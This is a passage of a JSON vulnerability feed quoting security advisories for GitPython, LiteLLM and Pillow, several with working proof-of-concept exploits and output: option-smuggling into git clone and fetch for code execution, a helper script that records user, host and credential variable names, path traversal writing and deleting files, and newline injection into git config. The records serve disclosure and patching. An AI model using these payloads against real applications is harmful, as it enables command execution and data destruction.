upload_pack=helper)\nrepo.remote(\"origin\").fetch(upload_pack=helper)\nrepo.remote(\"origin\").pull(upload_pack=helper)\nrepo.remote(\"origin\").push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:830-833` checks `{\"upload-pack\": ...}`\n- `test/test_remote.py:968-975` checks `{\"receive-pack\": ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\"gp-poc-risk-\")\norigin = os.path.join(base, \"origin.git\")\nproducer = os.path.join(base, \"producer\")\nvictim = os.path.join(base, \"victim\")\nproof = os.path.join(base, \"proof.txt\")\nwrapper = os.path.join(base, \"wrapper.sh\")\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \"w\") as f:\n f.write(f\"\"\"#!/bin/sh\n{{\n echo \"code_exec=1\"\n echo \"whoami=$(id)\"\n echo \"cwd=$(pwd)\"\n echo \"uname=$(uname -a)\"\n printf 'argv='; printf '<%s>' \"$@\"; echo\n env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=/' || true\n}} > '{proof}'\nexec git-upload-pack \"$@\"\n\"\"\")\nos.chmod(wrapper, stat.S_IRWXU)\n\nsubprocess.run([\"git\", \"init\", \"--bare\", origin], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nwith open(os.path.join(producer, \"README\"), \"w\") as f:\n f.write(\"x\")\n\nsubprocess.run([\"git\", \"-C\", producer, \"add\", \"README\"], check=True, stdout=subprocess.DEVNULL)\nsubprocess.run(\n [\"git\", \"-C\", producer, \"-c\", \"user.name=t\", \"-c\", \"user.email=t@t\", \"commit\", \"-m\", \"init\"],\n check=True,\n stdout=subprocess.DEVNULL,\n)\nsubprocess.run([\"git\", \"-C\", producer, \"push\", \"origin\", \"HEAD\"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\nsubprocess.run([\"git\", \"clone\", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\nrepo = Repo(victim)\nremote = repo.remote(\"origin\")\n\n# the literal Git option name is properly blocked.\ntry:\n remote.fetch(**{\"upload-pack\": wrapper})\n print(\"control=unexpected_success\")\nexcept UnsafeOptionError:\n print(\"control=blocked\")\n\n# this is the actual vulnerability\n# you can also just do upload_pack=\"touch /tmp/proof\", the wrapper is just to show greater impact\n# if you do the \"touch /tmp/proof\" the script will crash, but the file will have been created\nremote.fetch(upload_pack=wrapper)\n\n# Proof: the helper ran as the GitPython host process.\nprint(\"proof_exists\", os.path.exists(proof), proof)\nprint(open(proof).read())\n```\n\n3. Expected result:\n\n- The script prints `control=blocked`\n- The script prints `proof_exists True ...`\n- The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names\n\nExample output:\n\n```bash\nGitPython % python3 test.py\ncontrol=blocked\nproof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt\ncode_exec=1\nwhoami=uid=501(wes) gid=20(staff) \ncwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim\nuname=Darwin Darwin Kernel Version ; root:xnu-11417. \nargv=\nUSER=\nSSH_AUTH_SOCK=\nPATH=\nHOME=\n```\n\nThis PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`.\n\n### Impact\nWho is impacted:\n- Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior\n- Systems that accept a user-provided dict of \"extra Git options\" and pass it into GitPython with `**kwargs`\n- CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )\n\nWhat the attacker needs to control:\n\n- A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`\n\nFrom a severity perspective, this could lead to\n- Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process\n- Modification of repositories, build outputs, or release artifacts\n- Lateral movement from CI/CD workers or automation hosts\n- Full compromise of the worker or service process handling repository operations\n\nThe highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42215"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42271","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-v4p8-mg3p-g94g","CVE-2026-42271","PYSEC-2026-2599"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.83.7","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"litellm","subject_version":"1.81.10","key":"pkg:pypi/litellm@1.81.10","resource":"litellm"}]},"summary":"LiteLLM: Authenticated command execution via MCP stdio test endpoints","details":"### Impact\n\nTwo endpoints used to preview an MCP server before saving it — `POST /mcp-rest/test/connection` and `POST /mcp-rest/test/tools/list` — accepted a full server configuration in the request body, including the `command`, `args`, and `env` fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process.\n\nThe endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host.\n\n### Patches\n\nFixed in **`1.83.7`**. Both test endpoints now require the `PROXY_ADMIN` role, bringing them into line with the save endpoint.\n\n### Workarounds\n\nIf upgrading is not immediately possible, developers should block `POST /mcp-rest/test/connection` and `POST /mcp-rest/test/tools/list` at their reverse proxy or API gateway.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42271"},{"type":"PACKAGE","url":"https://github.com/BerriAI/litellm"},{"type":"WEB","url":"https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable"},{"type":"WEB","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42271"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42284","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-x2qx-6953-8485","CVE-2026-42284","PYSEC-2026-2161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.47","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unsafe option check validates multi_options before shlex.split transformation","details":"### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n print(\"multi_options=['--config', '...']: Block as expected\")\nexcept Exception:\n pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n SRC.mkdir(parents=True)\n r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n r(\"git\", \"init\", \"-b\", \"main\")\n (SRC / \"f\").write_text(\"x\\n\")\n r(\"git\", \"add\", \".\")\n r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept Exception:\n pass\n\nif not LOG.exists() and DST.exists():\n subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config', '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42284"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"},{"type":"WEB","url":"https://www.tenable.com/cve/CVE-2026-32686"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42308","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-wjx4-4jcj-g98j","BIT-pillow-2026-42308","CVE-2026-42308","PYSEC-2026-165"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow has an integer overflow when processing fonts","details":"If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-wjx4-4jcj-g98j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42308"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-165.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42309","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-5xmw-vc9v-4wf2","BIT-pillow-2026-42309","CVE-2026-42309","PYSEC-2026-2251"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow has a heap buffer overflow with nested list coordinates","details":"Passing nested lists as coordinates to APIs that accept coordinates such as `ImagePath.Path`, `ImageDraw.ImageDraw.polygon` and `ImageDraw.ImageDraw.line` could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xmw-vc9v-4wf2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42309"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42310","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-r73j-pqj5-w3x7","BIT-pillow-2026-42310","CVE-2026-42310","PYSEC-2026-2874"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow has a PDF Parsing Trailer Infinite Loop (DoS)","details":"### Impact\nAn attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.\n\n### Patches\nPatched version: 12.2.0.\n\nPdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a\ntrailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a\nlonger cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an\nerror if a cycle is detected.\n\n### Workarounds\nUse any version but the affected versions: >= 4.2.0, < 12.2.0\n\n### Resources\n - Fix: https://github.com/python-pillow/Pillow/pull/9519","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-r73j-pqj5-w3x7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42310"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9519"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/3bf614e4b8615d0ce1d5039efaf6db447fe7c468"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-42311","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-pwv6-vv43-88gr","BIT-pillow-2026-42311","CVE-2026-42311","PYSEC-2026-2252"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)","details":"### Impact\nProcessing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.\n\n### Patches\nPatched version: 12.2.0\n\nPillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.\n\n### Workarounds\nUse any version but affected versions: >= 10.3.0, < 12.2.0\n\n### Resources\n - Fix: https://github.com/python-pillow/Pillow/pull/9520 \n - Original issue: CVE-2026-25990 (Pillow 12.1.1)","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-pwv6-vv43-88gr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42311"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/pull/9520"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/58f9a1d166dcb0c274807d4423522d205b0c35ea"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/12.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-44243","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-7545-fcxq-7j24","CVE-2026-44243","PYSEC-2026-2162"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.48","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository","details":"## 🧾 Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## 📦 Affected Versions\n\n* Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## 🧠 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n ...\n fpath = self.abspath\n assure_directory_exists(fpath, is_file=True)\n\n lfd = LockedFD(fpath)\n fd = lfd.open(write=True, stream=True)\n ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n full_ref_path = cls.to_full_path(path)\n abs_path = os.path.join(repo.common_dir, full_ref_path)\n if os.path.exists(abs_path):\n os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n new_path = self.to_full_path(new_path)\n new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n ...\n os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## 🧪 Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir = {repo_dir}\")\nprint(f\"outside_write = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n print(\"[+] outside_write content:\")\n print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir = ...\\gp-ghsa-poc\\repo\noutside_write = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## 💥 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## 🛠️ Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n SymbolicReference._check_ref_name_valid(path)\n\n base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n target = (base / path).resolve()\n\n if base not in [target, *target.parents]:\n raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44243"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-44244","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-v87r-6q3f-2j67","CVE-2026-44244","PYSEC-2026-2163"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.49","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath","details":"`GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer() as cw:\n cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\", capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip()) # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\", \"w\").write(\"#!/bin/sh\\nid > 